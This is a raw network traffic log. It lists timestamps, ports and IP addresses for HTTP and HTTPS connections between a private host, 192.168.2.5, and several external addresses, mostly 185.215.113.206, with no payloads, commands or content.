Nov 15, 2024 16:16:31.966115952 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966140032 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966140032 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966140032 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966140032 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966141939 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966152906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966176987 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966177940 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966190100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966202974 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966226101 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966227055 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966238022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966240883 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966250896 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966264009 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966272116 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966274023 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966305017 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966334105 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966372013 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966383934 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966394901 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966437101 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966449022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966459990 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966470957 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966481924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966494083 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966505051 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966517925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966533899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966533899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966533899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966533899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966550112 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966555119 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966569901 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966577053 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966588974 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966600895 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966612101 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966623068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966633081 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966643095 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966655016 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966665983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966700077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966712952 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966716051 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966716051 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966716051 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966717005 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966717005 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966723919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966737032 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966777086 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966789961 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966811895 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966834068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966834068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966834068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966839075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966851950 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966864109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966866016 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966871023 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966877937 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966903925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966914892 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966919899 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966928005 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966938972 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966948986 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966949940 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966949940 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966983080 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967005014 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967067003 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967078924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967091084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967102051 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967113972 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967206001 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967206001 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967206001 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967210054 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967223883 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967303991 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967303991 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967308998 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967328072 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967339993 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967351913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967364073 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967372894 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967379093 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967396975 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967593908 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967606068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967617035 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967693090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967705011 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967715979 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967727900 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967786074 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967797041 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967807055 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967807055 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967807055 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967807055 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967811108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967839956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967895985 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967895985 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967895985 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967911005 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967921972 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967955112 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967966080 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967977047 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.967978954 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.967997074 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968010902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968013048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.968024015 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968034983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968040943 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.968046904 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968056917 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968061924 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.968123913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.968194962 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968214989 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968234062 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968245983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968255997 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968270063 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.968270063 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.968354940 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.968708038 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968720913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968741894 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968759060 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968770981 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968777895 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.968784094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968789101 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.968797922 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968826056 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968837976 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968851089 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.968851089 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.968852043 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968851089 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.968863964 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968869925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968883038 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968908072 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968909025 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.968923092 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968940020 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968951941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968961954 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.968988895 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.968990088 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.969016075 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.969317913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.969330072 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.969341040 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.969341993 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.969388962 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.969747066 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.970563889 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.977159023 CET	443	49872	23.205.110.137	192.168.2.5
Nov 15, 2024 16:16:31.977379084 CET	443	49871	23.205.110.137	192.168.2.5
Nov 15, 2024 16:16:31.979974031 CET	49872	443	192.168.2.5	23.205.110.137
Nov 15, 2024 16:16:31.979995966 CET	443	49872	23.205.110.137	192.168.2.5
Nov 15, 2024 16:16:31.980092049 CET	49871	443	192.168.2.5	23.205.110.137
Nov 15, 2024 16:16:31.980113983 CET	443	49871	23.205.110.137	192.168.2.5
Nov 15, 2024 16:16:31.983563900 CET	443	49872	23.205.110.137	192.168.2.5
Nov 15, 2024 16:16:31.983635902 CET	49872	443	192.168.2.5	23.205.110.137
Nov 15, 2024 16:16:31.983676910 CET	443	49871	23.205.110.137	192.168.2.5
Nov 15, 2024 16:16:31.983747005 CET	49871	443	192.168.2.5	23.205.110.137
Nov 15, 2024 16:16:31.985424995 CET	49871	443	192.168.2.5	23.205.110.137
Nov 15, 2024 16:16:31.985507011 CET	443	49871	23.205.110.137	192.168.2.5
Nov 15, 2024 16:16:31.985526085 CET	49872	443	192.168.2.5	23.205.110.137
Nov 15, 2024 16:16:31.985613108 CET	443	49872	23.205.110.137	192.168.2.5
Nov 15, 2024 16:16:31.988981962 CET	49882	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.989017963 CET	443	49882	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.989170074 CET	49882	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.989778042 CET	49882	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.989794016 CET	443	49882	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.001625061 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.001636028 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.001645088 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.001662970 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.001697063 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.001713037 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.001741886 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.001765966 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.001765966 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.001904011 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.079219103 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.079231024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.079241991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.079252958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.079263926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.079272985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.079303026 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.079391956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.128781080 CET	443	49873	204.79.197.219	192.168.2.5
Nov 15, 2024 16:16:32.128937960 CET	49872	443	192.168.2.5	23.205.110.137
Nov 15, 2024 16:16:32.128961086 CET	443	49872	23.205.110.137	192.168.2.5
Nov 15, 2024 16:16:32.129065990 CET	443	49870	204.79.197.219	192.168.2.5
Nov 15, 2024 16:16:32.131721973 CET	49870	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:32.131761074 CET	443	49870	204.79.197.219	192.168.2.5
Nov 15, 2024 16:16:32.131851912 CET	49873	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:32.131895065 CET	443	49873	204.79.197.219	192.168.2.5
Nov 15, 2024 16:16:32.133196115 CET	443	49870	204.79.197.219	192.168.2.5
Nov 15, 2024 16:16:32.133270025 CET	49870	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:32.133445024 CET	443	49873	204.79.197.219	192.168.2.5
Nov 15, 2024 16:16:32.133513927 CET	49873	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:32.134840012 CET	49870	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:32.134924889 CET	443	49870	204.79.197.219	192.168.2.5
Nov 15, 2024 16:16:32.134929895 CET	49873	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:32.135018110 CET	443	49873	204.79.197.219	192.168.2.5
Nov 15, 2024 16:16:32.191402912 CET	443	49871	23.205.110.137	192.168.2.5
Nov 15, 2024 16:16:32.191525936 CET	49871	443	192.168.2.5	23.205.110.137
Nov 15, 2024 16:16:32.205682039 CET	49870	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:32.205717087 CET	443	49870	204.79.197.219	192.168.2.5
Nov 15, 2024 16:16:32.243288040 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.248359919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.315623045 CET	49872	443	192.168.2.5	23.205.110.137
Nov 15, 2024 16:16:32.316092014 CET	49873	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:32.316113949 CET	443	49873	204.79.197.219	192.168.2.5
Nov 15, 2024 16:16:32.389339924 CET	49883	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.389403105 CET	443	49883	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.389647961 CET	49883	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.389854908 CET	49883	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.389889002 CET	443	49883	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.409107924 CET	49870	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:32.418380976 CET	49873	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:32.496627092 CET	443	49875	20.125.209.212	192.168.2.5
Nov 15, 2024 16:16:32.497136116 CET	49875	443	192.168.2.5	20.125.209.212
Nov 15, 2024 16:16:32.497163057 CET	443	49875	20.125.209.212	192.168.2.5
Nov 15, 2024 16:16:32.497709990 CET	443	49875	20.125.209.212	192.168.2.5
Nov 15, 2024 16:16:32.498596907 CET	49875	443	192.168.2.5	20.125.209.212
Nov 15, 2024 16:16:32.498675108 CET	443	49875	20.125.209.212	192.168.2.5
Nov 15, 2024 16:16:32.499058962 CET	49875	443	192.168.2.5	20.125.209.212
Nov 15, 2024 16:16:32.521217108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521297932 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521375895 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521375895 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521398067 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521415949 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521430969 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521445990 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521459103 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521482944 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521497965 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521519899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521532059 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521543026 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521548986 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521569014 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521569967 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521594048 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521610975 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521617889 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521625996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521651030 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521666050 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521670103 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521677017 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521682024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521696091 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521704912 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521711111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521724939 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521747112 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521750927 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521770954 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521771908 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521796942 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521805048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521814108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521821022 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521831989 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521845102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521848917 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521872044 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521872997 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521889925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521898031 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521898031 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521905899 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521912098 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.521935940 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.521955013 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522025108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522041082 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522057056 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522066116 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522085905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522100925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522125959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522125959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522139072 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522141933 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522159100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522166967 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522176027 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522192001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522206068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522214890 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522222042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522237062 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522243977 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522269964 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522305012 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522582054 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522604942 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522622108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522628069 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522638083 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522650003 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522663116 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522671938 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522677898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522696018 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522701979 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522711992 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522728920 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522733927 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522744894 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522754908 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522770882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522785902 CET	80	49759	185.215.113.206	192.168.2.5
